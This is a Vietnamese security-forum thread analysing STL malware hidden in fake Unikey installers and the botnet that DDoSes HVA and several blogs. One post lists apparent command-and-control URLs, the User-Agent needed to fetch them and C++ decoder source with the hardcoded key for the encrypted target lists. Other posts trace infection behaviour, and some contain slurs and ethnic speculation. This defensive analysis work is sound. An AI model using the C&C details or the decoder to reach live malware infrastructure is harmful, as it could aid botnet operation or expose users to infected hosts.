Không biết có phải em lo xa không mà hôm nay vừa đọc xong bài viết của các anh, em liền test thằng Unikey Vista em đang dùng. Kết quả scan trên virusTotal ra là 1/40 nhưng không biết có phải có em bé không. Các anh xem qua giúp em:  

Xin lỗi bạn nhé! Có vẻ như bạn chưa đọc kỹ bài viết của mình. Trong bài viết ghi rõ là mình tải bản Unikey4RC tại trang chủ. Trong phần comment trên mình chỉ giải thích cho bạn trên hiểu là bản đó mình đã tải lâu rồi. Chỉ vì muốn nhờ các anh giúp phân tích xem thử có phải virus STL nên mình mới post lên đây. Có gì không phải bạn bỏ qua nhé [/qoute] Có mâu thuẩn gì ở đây không??]]> /hvaonline/posts/list/39641.html#244695 /hvaonline/posts/list/39641.html#244695 GMT /hvaonline/posts/list/39641.html#244697 /hvaonline/posts/list/39641.html#244697 GMT

TQN wrote:

PS: Làm cái gì mà căm danlambaovn.blogspot.com thế, DDOS hoài không chán à ? 

Em tự hỏi, blogspot của Google thì làm sao mà stl "đốt" nổi , mà "đốt" mãi thế?]]> /hvaonline/posts/list/39641.html#244698 /hvaonline/posts/list/39641.html#244698 GMT /hvaonline/posts/list/39641.html#244704 /hvaonline/posts/list/39641.html#244704 GMT /hvaonline/posts/list/39641.html#244707 /hvaonline/posts/list/39641.html#244707 GMT

crc32 wrote:

TQN wrote:

PS: Làm cái gì mà căm danlambaovn.blogspot.com thế, DDOS hoài không chán à ? 

Em tự hỏi, blogspot của Google thì làm sao mà stl "đốt" nổi , mà "đốt" mãi thế? 

Đến Google MJ nó còn Đốt cho đơ gần 1 ngày liền, huống chi là blogspot của Google. tiếc là sờ ti lợn chưa đủ trình và tiếng thôi.]]> /hvaonline/posts/list/39641.html#244708 /hvaonline/posts/list/39641.html#244708 GMT /hvaonline/posts/list/39641.html#244710 /hvaonline/posts/list/39641.html#244710 GMT /hvaonline/posts/list/39641.html#244716 /hvaonline/posts/list/39641.html#244716 GMT /hvaonline/posts/list/39641.html#244718 /hvaonline/posts/list/39641.html#244718 GMT /hvaonline/posts/list/39641.html#244719 /hvaonline/posts/list/39641.html#244719 GMT

mylove14129 wrote:

còn đây là bản unikey mới nhất trên trang chủ http://www.virustotal.com/file-scan/report.html?id=cf8773ccfb08010e71134d2096831afd37d52113f402daac90ea717900fc2f8a-1312767260 Khả năng dự đoán của mình là đúng. Quả này thì "khó" rồi 

Ở trên trang chủ của UniKey ( unikey.org ) không có file nào là Uk40BSetup.exe, chỉ có ver 3 mới có file setup ( .exe ) còn ver 4 chỉ là file zip mà thôi. không biết bro lấy từ trang chủ nào ? PS : Xin mấy bro đừng chém gió tránh loãng chủ đề !!!]]> /hvaonline/posts/list/39641.html#244720 /hvaonline/posts/list/39641.html#244720 GMT /hvaonline/posts/list/39641.html#244721 /hvaonline/posts/list/39641.html#244721 GMT

mv1098 wrote:

mylove14129 wrote:

còn đây là bản unikey mới nhất trên trang chủ http://www.virustotal.com/file-scan/report.html?id=cf8773ccfb08010e71134d2096831afd37d52113f402daac90ea717900fc2f8a-1312767260 Khả năng dự đoán của mình là đúng. Quả này thì "khó" rồi 

Ở trên trang chủ của UniKey ( unikey.org ) không có file nào là Uk40BSetup.exe, chỉ có ver 3 mới có file setup ( .exe ) còn ver 4 chỉ là file zip mà thôi. không biết bro lấy từ trang chủ nào ? PS : Xin mấy bro đừng chém gió tránh loãng chủ đề !!! 

Mình vừa down từ trang chủ đó http://www.unikey.org/. click vào Download UniKey 4.0 here link sang forum của unikey http://www.unikey.org/forum/viewtopic.php?t=1541, bấm vào cái UniKey 4.0 Standard Setup, for all Windows rồi chờ down từ source force nhé P/S to mv1098 : nếu PS trên của bạn dành cho mình thì bạn nên tìm hiểu kỹ trước khi cm lại cho người khác. ]]> /hvaonline/posts/list/39641.html#244722 /hvaonline/posts/list/39641.html#244722 GMT /hvaonline/posts/list/39641.html#244723 /hvaonline/posts/list/39641.html#244723 GMT /hvaonline/posts/list/39641.html#244724 /hvaonline/posts/list/39641.html#244724 GMT

angel_of_devil wrote:

@all: e thấy bác conmale bảo Symantec chưa update mấy mẫu bác ý gửi. Em vào trang chủ Symantec check thì có vẻ vẫn chưa update, mà công ty thì xài SEPM :( Có cách nào để thằng Symantec sớm tỉnh ngộ ko các bác nhỉ? 

Cách làm cho Symantec "tỉnh ngộ" là cách than phiền chính thức đến nó với vị thế khách hàng. Ví dụ, cứ nói với nó là bồ dùng Symantec và antivirus này không detect ra virus. Trong khi đó, dùng Avira thì Avira lại tóm được. Nói thêm với nó là nhiều người đã submit mẫu đến Symantec nhưng Symantec làm ngơ. Để cho đủ đô, doạ nó là công ty của bồ sẽ không dùng Symantec nữa nếu như Symantec vẫn có thái độ như vậy. Hù cái gì chớ hù vô túi tiền thì bố cu cậu nào cũng ngán :-) .]]> /hvaonline/posts/list/39641.html#244727 /hvaonline/posts/list/39641.html#244727 GMT /hvaonline/posts/list/39641.html#244728 /hvaonline/posts/list/39641.html#244728 GMT

angel_of_devil wrote:

Ok anh, em sẽ thử xem "tốc độ" reply của Symantec nhanh đến cỡ nào :)) 

Trong các antivirus thì tốc độ đón nhận, phân tích, xử lý và cập nhật virus def phải nói là: 1) Avira dẫn đầu. 2) Clamav đứng thứ nhì. 3) Sophos đứng thứ ba. 4) Microsoft đứng thứ tư. 5) McAfee đứng thứ năm. Các nhóm còn lại thì rất lê thê, đàng đệ. Nhóm tệ nhất là nhóm Symantec. Có lẽ tụi này bự quá nên... "nâu ke" ;).]]> /hvaonline/posts/list/39641.html#244729 /hvaonline/posts/list/39641.html#244729 GMT /hvaonline/posts/list/39641.html#244730 /hvaonline/posts/list/39641.html#244730 GMT /hvaonline/posts/list/39641.html#244731 /hvaonline/posts/list/39641.html#244731 GMT

sourcefire wrote:

hic hôm nay đọc được bài này, kiểm tra lại file unikey của mình và download lại từ trên trang chủ về thì thấy dung lượng khác nhau, kiểm tra trên virustotal thì được report thế này, không biết có phải của STL không nữa: http://www.virustotal.com/file-scan/report.html?id=9852b3c19f9cca4aa35c16f2cc54911a54c0aa7d13d232fa5adb6a62918260dc-1312720738 Đây là nguyên mẫu file unikey, nhờ các bạn kiểm tra xem phải của STL không? http://www.megaupload.com/?d=FLM02K3G File này mình nhớ là trước đây cũng down từ trang chủ unikey, nhưng không biết là có phải thực sự bị dính STL không nữa. 

Tôi đã download bản Unikey từ link trên và mở ra xem qua. Tôi chưa có thời gian thử nghiệm thưc tế và phân tích version của Unikey này. Tuy nhiên xét về "hình thức' các file, thì dường như nó giống như bản Unikey mà bạn axasin trước đây đã cung cấp, mà tôi đã kiểm tra và phân tích. Vì vậy nó có khả năng cũng bị nhiễm virus của STL. Chiêu nay (nếu HVA forum không bị DDoS) tôi sẽ post lên chi tiết kiểm tra thưc tế Malicious Unikey mà bạn axasin đã gửi trước đây. Có nhiều điểm lý thú và kết quả kiểm tra thưc tế giúp ta trả lời được nhiều điểm còn thắc mắc, như vấn đề liên quan đến các file MsHelpCenter.* chẳng hạn. Xin các bạn đón đọc ]]> /hvaonline/posts/list/39641.html#244732 /hvaonline/posts/list/39641.html#244732 GMT /hvaonline/posts/list/39641.html#244733 /hvaonline/posts/list/39641.html#244733 GMT

PXMMRF wrote:

Chiêu nay (nếu HVA forum không bị DDoS) tôi sẽ post lên chi tiết kiểm tra thưc tế Malicious Unikey mà bạn axasin đã gửi trước đây. Có nhiều điểm lý thú và kết quả kiểm tra thưc tế giúp ta trả lời được nhiều điểm còn thắc mắc, như vấn đề liên quan đến các file MsHelpCenter.* chẳng hạn. Xin các bạn đón đọc  

Em chỉ mong có bấy nhiêu à! Lời hứa của một Admin luôn có giá trị.Trình độ IT của em thì bằng dê rô nhưng em lại thích đọc những phân tích của các bác, đọc những bài phân tích của bác Conmale, "TQN= Than Quảng Ninh", PXMMRF em thấy sáng ra nhiều điều, sáng ở đây là từ một người mù có người cầm tay chỉ cho mình hướng đi nhưng đi đâu thì mình chưa biết vì mình đang " mù" mà. Đi đâu thì đi giữ cho mình một chữ "TÂM" là được.:P]]> /hvaonline/posts/list/39641.html#244735 /hvaonline/posts/list/39641.html#244735 GMT

conmale wrote:

angel_of_devil wrote:

Ok anh, em sẽ thử xem "tốc độ" reply của Symantec nhanh đến cỡ nào :)) 

Trong các antivirus thì tốc độ đón nhận, phân tích, xử lý và cập nhật virus def phải nói là: 1) Avira dẫn đầu. 2) Clamav đứng thứ nhì. 3) Sophos đứng thứ ba. 4) Microsoft đứng thứ tư. 5) McAfee đứng thứ năm. Các nhóm còn lại thì rất lê thê, đàng đệ. Nhóm tệ nhất là nhóm Symantec. Có lẽ tụi này bự quá nên... "nâu ke" ;). 

Hức hức ... Tuy ko phải fan của Bác Quảng Nổ nhưng em cũng chẳng anti Quảng Nổ vì em cũng cài Bkav Pro. Thấy mẫu nào trên diễn đàn các bác up lên em thấy Bkav chém hết :( Bác comale xếp vị trí cho công ty anh ý cái :D ]]> /hvaonline/posts/list/39641.html#244737 /hvaonline/posts/list/39641.html#244737 GMT

ptv_vbhp wrote:

conmale wrote:

angel_of_devil wrote:

Ok anh, em sẽ thử xem "tốc độ" reply của Symantec nhanh đến cỡ nào :)) 

Trong các antivirus thì tốc độ đón nhận, phân tích, xử lý và cập nhật virus def phải nói là: 1) Avira dẫn đầu. 2) Clamav đứng thứ nhì. 3) Sophos đứng thứ ba. 4) Microsoft đứng thứ tư. 5) McAfee đứng thứ năm. Các nhóm còn lại thì rất lê thê, đàng đệ. Nhóm tệ nhất là nhóm Symantec. Có lẽ tụi này bự quá nên... "nâu ke" ;). 

Hức hức ... Tuy ko phải fan của Bác Quảng Nổ nhưng em cũng chẳng anti Quảng Nổ vì em cũng cài Bkav Pro. Thấy mẫu nào trên diễn đàn các bác up lên em thấy Bkav chém hết :( Bác comale xếp vị trí cho công ty anh ý cái :D  

Tớ không có ý "xếp loại" công ty software antiviruses của Việt Nam. CMClab thì đã có người theo dõi và cập nhật virus def khá đều đặn rồi, còn BKIS thì tớ nhận nhiều phản hồi trái ngược nhau. Tớ thì không có BKIS "bờ rồ" để thử nghiệm cho nên không thể đánh giá nó được.]]> /hvaonline/posts/list/39641.html#244739 /hvaonline/posts/list/39641.html#244739 GMT

ptv_vbhp wrote:

Hức hức ... Tuy ko phải fan của Bác Quảng Nổ nhưng em cũng chẳng anti Quảng Nổ vì em cũng cài Bkav Pro. Thấy mẫu nào trên diễn đàn các bác up lên em thấy Bkav chém hết :( Bác comale xếp vị trí cho công ty anh ý cái :D  

Nhân viên của bác Quang hỏi ở đây nhiều lắm, Bác ý không tranh thủ những phân tích ở đây thì sao xứng danh là Quang hỏi nô hỏi được. Tui mà là thầy bói,nhà ngoại cảm tui cũng đưa chân rết đến tận tận cùng đất nước ấy chứ. Forum này không đưa lính vào cũng phí tâm cơ :D.]]> /hvaonline/posts/list/39641.html#244740 /hvaonline/posts/list/39641.html#244740 GMT /hvaonline/posts/list/39641.html#244741 /hvaonline/posts/list/39641.html#244741 GMT /hvaonline/posts/list/39641.html#244742 /hvaonline/posts/list/39641.html#244742 GMT

TQN wrote:

Hu hu bà con ơi ! Ai giúp giùm em cái, mẫu mới của tụi stl mà em âm thầm RCE nó mấy ngày nay thì tới giờ, sau khi có kết quả, không lòi ra bằng chứng nào là mẫu đó là bot đang DDOS HVA ta ! Nó cứ đè danlambao.blogspot mà phang !  

Kể cả có xác định được thì anh nghĩ có dập được không ạ ? Tốc độ cập nhật của các hãng av còn lâu hơn cả tụi nó update biến thể "mới". Lại thêm chuyện thử hỏi có bao nhiêu người biết được mình đang bị nhiễm và chương trình diệt virus trên máy họ có thể diệt được trước khi một mẫu mới được cập nhật. Mà chả hiểu sao cánh báo chí im ru bà rù thế nhỉ ?]]> /hvaonline/posts/list/39641.html#244746 /hvaonline/posts/list/39641.html#244746 GMT

conmale wrote:

Hôm qua có anh bạn ghé thăm làm vài chai. Anh ấy hỏi tại sao hiện tượng DDoS rộng lớn và dai dẳng xảy ra như vậy mà các cơ quan hữu trách vẫn hoàn toàn im lặng? Tớ đớ lưỡi, không trả lời được câu hỏi này. Đây cũng là câu hỏi TQN và nhiều member đã lặp đi lặp lại nhiều lần. Hiện nay đám STL vẫn tiếp tục hì hụi tạo botnet khác và vẫn loay hoay với những biến thái mới cho con zombie đã có sẵn trong các máy con bị nhiễm malware. Ở Việt Nam có bao nhiêu nhóm kỹ thuật, có bao nhiêu cơ quan hữu trách, có bao nhiêu người dùng biết đến tình trạng này? Cách đây không lâu, vietnamnet bị tấn công dai dẳng và rồi mọi chuyện chìm lỉm. Tại sao? Chẳng lẽ không có ai biết được hoặc không có khả năng truy tìm và chấm dứt những hoạt động phi pháp này hay sao? HVA đã đưa ra quá nhiều bằng chứng và thông tin cần thiết, việc còn lại đối với các cơ quan hữu trách có lẽ chẳng phải là việc khó khăn gì (ngoại trừ không muốn làm hoặc vì lý do nào khác thì không cần phải bàn). 

Chú conmale, vietnamnet.vn bị ddos, báo chí có thông tin, nhưng nói không điều tra ra được nguồn gốc tấn công(không biết thật hay giả nữa), người dân đen như chúng cháu không có thông tin nhiều, cứ nghĩ bị bọn THAHùng chơi khâm chứ. Còn hvaonline.net bị ddos có đăng trên một số diễn đàn nổi tiếng như: hvaonline.net, forums.congdongcviet.com, ddth.com, diendantinhoc.vn, vn-zoom.com, ... có đăng về tình trạng ddos hva này, vậy mà không thấy báo chí, cơ quan 2n nào DÁM NÓI, THẬT BẤT CÔNG. Cháu thường vào topic này và xem " Thông báo: về việc diễn đàn HVA bị gián đoạn sáng nay 14/7/2011"(khi HVA không bị ddos) để biết cách và cũng như nói cho mọi người biết về cách mà các anh và các chú HVA hướng dẫn để diệt malware STL( em cũng tìm Unikey và Winrar kô bị nhiễm malware, đã test trên virustotal gửi link cho mọi người). Thật may là các IP của Cty và ở nhà cháu không có trong danh sách IP ddos HVA. :) GIEO GÌ THÌ GẶT NẤY, MÌNH KHÔNG GẶT THÌ CON CHÁU MÌNH SẼ GẶT THAY CHO MÌNH ĐÓ MẤY ANH STL ẠH. MẤY ANH PHẢI NGHĨ CHO TƯƠNG LAI CON CHÁU CỦA MÌNH NỮA CHỨ, KHÔNG LẺ VÌ MÌNH MÀ CON CHÁU MÌNH PHẢI GÁNH CHỊU HẾT SAO. :-( QUAY ĐẦU LỜ BỜ MẤY ANH STL ƠI. WELCOME CÁC ANH TRỞ VỀ CHÍNH NGHĨA.]]> /hvaonline/posts/list/39641.html#244753 /hvaonline/posts/list/39641.html#244753 GMT

TQN wrote:

Hu hu bà con ơi ! Bạn Here I am up lại file java update của bạn giúp, có thể là mẫu mới của stl ! Gấp nhé ! Cảm ơn bạn !  

đây bác ạ http://www.mediafire.com/?cgoo6id0e9qn0]]> /hvaonline/posts/list/39641.html#244755 /hvaonline/posts/list/39641.html#244755 GMT Code:

http://net.iadze.com/backgrounds.jpg
 http://net.iadze.com/fronts.jpg

 http://find.instu.net/backgrounds.jpg
 http://find.instu.net/fronts.jpg

Các server này dùng nginx, nếu các bạn download bình thường bằng trình duyệt thì sẽ không được. Các bạn nên dùng wget, Fiddler, putty... để down với User-Agent phải là:

Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13  

Sau khi download về, các bạn chạy ct DecodeJPG.exe mà tui đã up ở đây để giải mã file .jpg đó ra thành file .gz, rồi dùng 7Zip hay WinRAR, WinZip mở ra. Trong file nén đó sẽ có file text chứa thông tin DDOS: Code của DecodeJPG: Code:

//---------------------------------------------------------------------------

#pragma hdrstop

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

#pragma argsused

//---------------------------------------------------------------------------

int GetOneXorByte(LPINT arrXor)
{
    int value1 = (arrXor[256] + 1) % 256;
    arrXor[256] = value1;

    int value2 = (arrXor[260] + arrXor[value1]) % 256;
    arrXor[260] = value2;

    int value3 = arrXor[value1];
    arrXor[value1] = arrXor[value2];
    arrXor[value2] = value3;
    return arrXor[(arrXor[arrXor[256]] + arrXor[arrXor[260]]) % 256];
}

int main(int argc, char* argv[])
{
    FILE *fIn = NULL;
    FILE *fOut = NULL;

    LPBYTE pJPGContent = NULL;
    LPBYTE pszData = NULL;
    BOOL bRetVal = FALSE;

    char szFileOut[MAX_PATH] = { '\0' };
    int arrXor[261] = { 0 };

    const char szKey[] = "0fb6f2f2dac443fd8beb5df3be320d36";
    int keyLen = strlen(szKey);

    printf("//-----------------------------------------------------------------------------------------\n");
    printf("// DecodeJPG: Decode the JPG files which are STL's DDOS C&C files\n");
    printf("// JPG files downloaded from the http://net.iadze.com/xxx.jpg and http://find.instu.net/xxx.jpg\n");
    printf("// RCE and coding by TQN (ThangCuAnh) - HVA Online Forum: www.hvaonline.net\n");
    printf("//-----------------------------------------------------------------------------------------\n\n");

    if (argc < 2)
    {
        printf("Usage: DecodeJPG JPGFile [Output File]");
        return EXIT_FAILURE;
    }

    char *szFileIn = argv[1];
    if (argc == 2)
    {
        char szDrive[_MAX_DRIVE] = { 0 };
        char szDir[_MAX_DIR] = { 0 } ;
        char szFName[_MAX_FNAME] = { 0 };
        _splitpath(szFileIn, szDrive, szDir, szFName, NULL);
        _makepath(szFileOut, szDrive, szDir, szFName, ".gz");
    }
    else
    {
        strncpy(szFileOut, argv[2], MAX_PATH);
    }

    fIn = fopen(szFileIn, "rb");
    if (NULL == fIn)
    {
        printf("Can not open input file: %s\n", szFileIn);
        return EXIT_FAILURE;
    }

    do
    {
        int i, value1, value2;

        fOut = fopen(szFileOut, "wb");
        if (NULL == fOut)
        {
            printf("Can not open output file %s\n", szFileOut);
            break;
        }

        fseek(fIn, 0, SEEK_END);
        int iJPGSize = ftell(fIn);
        fseek(fIn, 0, SEEK_SET);

        pJPGContent = (LPBYTE) malloc(iJPGSize);
        if (NULL != pJPGContent)
        {
            fread(pJPGContent, iJPGSize, 1, fIn);
        }
        else
        {
            printf("Not enought memory !\n");
            break;
        }

        pszData = (LPBYTE) malloc(iJPGSize);
        if (NULL == pszData)
        {
            printf("Nout enought memory for output buffer\n");
            break;
        }

        // Init arrXor
        for (i = 0; i < 256; ++i)
        {
            arrXor[i] = i;
        }
        arrXor[256] = arrXor[260] = 0;

        // Shuffle arr256
        while (1)
        {
            i = arrXor[256];
            if (i >= 256)
                break;
            value1 = (arrXor[260] + arrXor[i] + szKey[i % keyLen]) % 256;
            arrXor[260] = value1;
            value2 = arrXor[i];
            arrXor[i] = arrXor[value1];
            arrXor[value1] = value2;
            ++arrXor[256];
        }
        arrXor[256] = arrXor[260] = 0;

        // Xor loop
        for (i = 0; i < iJPGSize; ++i)
        {
            value1 = GetOneXorByte(arrXor);
            value2 = pJPGContent[i] ^ value1;
            pszData[i] = value2;
        }

        fwrite(pszData, iJPGSize, 1, fOut); // ghi lai noi dung da giai ma

        printf("Decode and extract data from JPG file %s to %s OK !\n", szFileIn, szFileOut);

        bRetVal = TRUE;
    } while (0);


    fclose(fIn);
    if (NULL != fOut)
    {
        fclose(fOut);
    }

    if (NULL != pJPGContent)
    {
        free(pJPGContent);
    }

    if (NULL != pszData)
    {
        free(pszData);
    }

    return bRetVal ? EXIT_SUCCESS : EXIT_FAILURE;
}
//---------------------------------------------------------------------------

Một số EXE, source C++, script của 010 Hex Editor để decode, extract data từ các "mèo què" của STL tui post ở đây: http://www.mediafire.com/?5g7r7c8eme0wjp2 ]]> /hvaonline/posts/list/39641.html#244756 /hvaonline/posts/list/39641.html#244756 GMT

TQN wrote:

Hu hu bà con ơi ! Ai giúp giùm em cái, mẫu mới của tụi stl mà em âm thầm RCE nó mấy ngày nay thì tới giờ, sau khi có kết quả, không lòi ra bằng chứng nào là mẫu đó là bot đang DDOS HVA ta ! Nó cứ đè danlambao.blogspot mà phang ! Không lý thằng AcrobatUpdater.exe vẫn còn sống ? Hay có 1 bot mới, server mới của tụi stl ???????????? Mong bà con tình nguyện tiếp tục dùng SmartSniffs, WireShark monitor xem thằng .exe nào đang connect tới HVA ta: www.hvaonline.net (74.63.219.12, 88.198.119.5, 49.212.30.177). PS: Tội nghiệp danlambao.blogspot.com: đang trong mục tiêu nhắm DDOS và phá hoại của tụi stl xấu xa này. Bà con nào cảnh báo chủ blog danlambao giùm ! Bạn Here I am up lại file java update của bạn giúp, có thể là mẫu mới của stl ! Gấp nhé ! Cảm ơn bạn ! Nếu chúng ta không xác định, tìm được con nằm vùng trên máy victim, con bot mới được down ở đâu về, và server mới nào của tụi nó ra lệnh DDOS, thì HVA chúng ta sẽ phải chịu DDOS dài dài, và mạng bot net mà tụi nó xây dựng ở VN ta sẽ ngày càng phình to ! Tới lúc nào đó mọi máy tính của VN đều là Zombie của tụi chó stl này hết ! (sorry anh em nhé, em bực quá rồi, tụi này mặt dày lắm, chửi vậy cũng chưa ăn thua đâu. Tụi nó còn tiếp tục chơi cái trò dơ bẩn, hèn hạ này hoài.) 

Theo như anh conmale thông báo thì những ngày gần đây mạng zombies tấn công vào HVA chủ yếu là đặt ở nước ngoài. Như vậy là các user ở nước ngoài đã từng download về máy họ các software hay tool nào đó phổ biến, thông dụng và cần dùng ở nước đó, nhưng bị nhiễm virus của cấp trên của STL. Chúng sử dụng các Master webserver-website cũng đặt ở nước ngoài để update các bot, cho tấn công vào HVA. Chỉ có một số nhỏ zombies đặt ở VN. Nhưng có lẽ những zombie này đã nhiễm STL virus từ lâu. Sau đó chúng được update để tấn công vào HVA cũng đã từ lâu và hiện nay chúng không được newly updated, nên cứ giữ configuration để tấn công vào HVA. Vì vậy việc tìm ra Master- webserver hiện nay sẽ trở nên rất khó. Thôi thì ta phải mầy mò, cố gắng tìm hiểu, phân tích thêm vây. Qua sự việc này chúng ta thấy người thiết lập và điều khiển mang bot ở nước ngoài (và đang cho tấn công vào HVA) rõ ràng không phải là các chú nhỏ VN, làm thuê cho STL hay các thành phần người VN trong nhóm STL. Chúng phải là các thành viên "quốc tế" của một tổ chức là cấp trên của STL, lãnh đạo STL. Nhiều khả năng là các bác người Hoa sống ở nước ngoài. ]]> /hvaonline/posts/list/39641.html#244757 /hvaonline/posts/list/39641.html#244757 GMT

Here i am wrote:

TQN wrote:

Hu hu bà con ơi ! Bạn Here I am up lại file java update của bạn giúp, có thể là mẫu mới của stl ! Gấp nhé ! Cảm ơn bạn !  

đây bác ạ http://www.mediafire.com/?cgoo6id0e9qn0 

Cả 6 file bạn gửi đều không phải virus bạn nhé, file sạch cả đấy ;) .]]> /hvaonline/posts/list/39641.html#244758 /hvaonline/posts/list/39641.html#244758 GMT

]]> /hvaonline/posts/list/39641.html#244760 /hvaonline/posts/list/39641.html#244760 GMT /hvaonline/posts/list/39641.html#244761 /hvaonline/posts/list/39641.html#244761 GMT

tmd wrote:

Báo điện tử, chuyên trang vi tính, số..., toàn quảng cáo công nghệ hay thiết bị, tin tức. Chuyện phá hoại có chủ đích tới 1 2 cá nhân như hiện tại báo ta không đưa rầm rộ và đều đặn. Cái gì không muốn cho người ta biết thì không cho đăng.  

Nói gì mà không trúng không trật gì hết! Thôi đừng nói! Úp úp mở mở cuối cùng chẳng ra được ý gì hết! Báo điện tử là báo nào? "Báo ta" là báo nào? "1 2 cá nhân" là sao?]]> /hvaonline/posts/list/39641.html#244766 /hvaonline/posts/list/39641.html#244766 GMT /hvaonline/posts/list/39641.html#244767 /hvaonline/posts/list/39641.html#244767 GMT

PXMMRF wrote:

Qua sự việc này chúng ta thấy người thiết lập và điều khiển mang bot ở nước ngoài (và đang cho tấn công vào HVA) rõ ràng không phải là các chú nhỏ VN, làm thuê cho STL hay các thành phần người VN trong nhóm STL. Chúng phải là các thành viên "quốc tế" của một tổ chức là cấp trên của STL, lãnh đạo STL. Nhiều khả năng là các bác người Hoa sống ở nước ngoài.  

Qua điều tra (từ danh sách các IP trong bài này: /hvaonline/posts/list/39575.html#244574), em thấy rằng 100% các IP còn sống trong danh sách ấy đều mở cổng 8080 (http proxy) hoặc 3129 (squid proxy). Track lại tcpdump ở thời điểm ấy, vô số các requests dùng để DDoS HVA ngày hôm ấy đi xuyên qua các IP trên đều có thông tin "X-forwarded-For" hoặc "Via" IP nguyên thuỷ đằng sau proxies đều là IP đi từ Việt Nam. Điều này chứng tỏ, nguồn DDos này đã sử dụng hàng loạt các proxy servers (có thể là các proxy mở hoặc các proxy có cẩu hình thiếu chặt chẽ) để tấn công. Đối với trình duyệt và web services thì chuyện ẩn nấp sau proxies để "giấu IP" là chuyện thường thấy nhưng việc này cũng không thể qua mặt được "low level" tcpdump capture. Đối với 50Gb data đi xuyên 500 proxies thì khó nhận biết (vì 50Gb / 500 = 102Mb) nhưng nếu sử dụng phương tiện này để DDoS dai dẳng thì trước sau đám quản lý proxies cũng sẽ nghi ngờ và shutdown service. Có thể loạt DDoS ngày hôm ấy không phải của STL mà từ một nhóm nào khác "tát nước theo mưa". Loạt DDoS này có một số tính chất khá giống như các con "bots" của STL nhưng để khẳng định 100% thì không thể.]]> /hvaonline/posts/list/39641.html#244787 /hvaonline/posts/list/39641.html#244787 GMT http://net.iadze.com/backgrounds.jpg lại được cập nhật. Lần này, danh sách các site bị DDOS kéo dài hơn, đột ngột, không biết vì lý do gì. Ngoài danlambaovn.blogspot.com, còn thêm 7 site khác: [url] http://danlambaovn.blogspot.com http://www.dangvannham.com http://bienxua.over-blog.fr http://www.hanoihot.com http://www.aihuuphuyen.org http://nguoiduatinkami.wordpress.com http://vrvradio.com http://danlambaovn.disqus.com [/url] Trừ danlambaovn.blogspot.com là vô được, còn tất cả cád site còn lại tôi vô không được tới thời điểm này, tê liệt luôn. Lần này mấy anh "sống chết theo lệnh" hết gắn được cái nhãn "sống chết phập phù" của mấy anh vào mấy site đó, tức quá chơi đểu bằng cách DDOS ha ? Chơi bẩn vậy ha ?]]> /hvaonline/posts/list/39641.html#244795 /hvaonline/posts/list/39641.html#244795 GMT TIẾP TỤC THÔNG BÁO KẾT QUẢ KIỂM TRA THỰC TẾ CÁC MẪU VIRUS-TROJAN CỦA STL Kiểm tra và phân tích file Unikey do bạn axasin cung cấp, chúng ta có thể tóm tắt những kết luận sau: 1- Trên mạng hiện đang có rất nhiều version Unikey. Có loại không bị nhúng virus vào (như Unikey download trực tiếp từ unikey.org), nhiều loại bị nhúng virus, trong đó đa phần là virus của STL. Việc RCE các version Unikey giúp xác định khá chính xác những version nào là malicious Unikey, version nào là origin-clean Unikey. Tuy nhiên RCE là kỹ thuật advanced, chỉ có rất ít người có thể thưc hiện. Các người sử dụng thông thương cần những khuyến cáo đơn giản, dễ áp dụng, để tránh cài nhầm vào máy các malicious Unikey (Unikey độc, có virus). Vả lại kỹ thuật RCE đơn thuần có thể không phát hiện hay chỉ ra đầy đủ quá trình virus thâm nhập và khởi phát thưc tế trong máy. Unikey (do bạn axasin phát hiện và cung cấp) là loai Stand-alone program. Nghĩa là bản Unikey này không cần cài đặt (vào HDH) mà chỉ cần copy và paste nó lên màn hình (desktop) để chạy nó (hoăc copy folder chứa Unikey vào một thư muc trong Program Files và send một shortcut ra desktop). Dung lượng của file Unikey.exe này là 666 KB (khá lớn). Đây là điểm chúng ta cần đặc biệt chú ý Xem hình 1 2- Khi nhấp chuột vao Unikey.exe thì trong máy xuất hiện (ngay tức khắc) một số file chính như sau: - MsHelpCenter.exe - MsHelpCenter.idx - _desktop.ini (phân biệt với file gốc desktop.ini của Windows, dung lương chỉ là khoảng 1KB) - RCX38C.tmp - thumbcache.db Cả 5 file này nằm trong một folder có tên là Microsoft Help, tai thư mục C;/WINDOWS/ (trên WinXP, Win2K3...). Đây là folder mới chứa 5 file mới nói trên mà virus tạo lập ngay sau khi nó vừa được kích hoat. Chúng (5 file trên) không phải là các file sẽ đươc virus của STL download trên mang về sau này, dù dung lượng của các file MsHelpCenter,* khá lớn (8-10 MB) Thưc ra dung lượng của từng file trong 2 file MsHelpCenter.* thay đổi theo các lần thử nghiêm. Thử nghiệm lần 2, tôi thấy dung lượng của chúng giảm hẳn, chỉ còn từ 2-3 MB. Theo tôi lý do của vấn đề dung lương các file MsHelpCenter.* khá lớn và thay đổi có lẽ do sau khi được virus tạo lập trong hệ thống, chúng map một số file khác trong hệ thống và thu gom về một số dữ liệu , cần thiết và không cần thiết (để cho dung lương lớn hơn, người dùng không nghi ngờ) Trong 5 file trên Avira antivirus chỉ phát hiện ra 2 file nhiễm virus là MsHelpCenter.idx và RCX38C.tmp. Avira phát hiện ngay khi files vừa đươc virus tạo lập ra. Xem hình 2. 3- Một điều theo tôi rất đáng lưu ý là: Sau khi STL virus được kích hoạt trong hệ thống (máy), thì chúng xoá ngay (delete) thành phần virus nhúng trong file Unikey.exe, làm cho dung lương của nó giảm hẳn, từ 666 KB xuống còn 256 KB. Điều đó cũng giúp cho Unikey.exe (nay đã sạch virus) chạy nhanh và ổn định hơn, thoả mãn yêu câu người dùng (họ sẽ không thắc mắc gì). Xem hình 3 4- Virus hay chính xác hơn là Windows cũng tạo lập các file liên quan đến MsHelpCenter.* (đuôi .pf) trong thư mục "Prefetch" tại C:/WINDOWS/. Mục đích của việc tạo lập các file .df này là: Các file MsHelpCenter.* khi khởi đông (start) trong hệ thống chúng trước hết access vào nhiều file hay một phần của các file và load các file hay các phần của files lên bộ nhớ (memory), để hoàn tất quá trình khởi động. Windows thiết lập các file .df nói trên để giúp cho quá trình khởi đông MsHelpCenter,* nhanh hơn. Các file và các phần trong files cần load lên bộ nhớ nói trên, sẽ đươc lưu trong các file .df và chúng được Windows load nhanh lên bộ nhớ ngay khi MsHelpCenter,* được kích hoạt và giúp cho quá trình khởi đông MsHelpCenter.* nhanh hơn. Xem hình 4. 5- Process MsHelpCenter.exe đóng một vai trò quan trọng, nhưng nó là một hiden process nên khó phát hiện là nó đang chạy thường trực trong hệ thống và được load lên bộ nhớ, vì vậy việc delete nó một cách bình thường, sẽ khó khăn. Xem hình 5 6- 